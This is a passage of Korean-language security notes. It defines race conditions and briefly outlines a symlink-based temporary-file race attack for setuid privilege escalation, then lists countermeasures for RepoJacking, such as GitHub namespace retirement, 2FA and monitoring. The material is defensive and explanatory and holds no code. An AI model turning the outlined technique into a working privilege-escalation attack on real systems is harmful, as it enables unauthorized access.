- Race Condition: 두 개의 스레드가 하나의 자원을 놓고 서로 사용하려고 경쟁하는 상황 > 두 개 이상의 프로세스가 공통 자원을 병행적으로(concurrently) 읽거나 쓰는 동작을 할 때, > 공용 데이터에 대한 접근이 어떤 순서에 따라 이루어졌는지에 따라 > 그 실행 결과가 같지 않고 달라지는 상황
- Race Condition Attack: 실행 프로세스가 임시파일을 생성할 시, 실행 중에 끼어들어 임시 파일을 목적 파일로 연결(심볼릭 링크)하여 권한 상승(setuid를 이용) 등 악용
3. 대응방안
① 해당 취약점을 발견한 Checkmarx는 Github에 해당 문제를 전달 > Github은 "인기 있는 저장소 네임스페이스 종료"를 도입 [4] > Checkmarx는 모니터링을통해 우회 방법들이 발견될때마다 내용 공유를 통해 지속 대응중으로 확인됨
> Checkmarx는 RepoJacking 공격에 취약한 리포지터리를 확인하는 도구를 개발해 제공 [5]
② 무차별 대입 공격 및 프로젝트 탈취를 방지하기 위해 저장소에 2FA 적용 ③ 엄격한 형상관리 ④ 프로젝트 모니터링과 검토를 통해 취약점 조기 식별 및 조치 등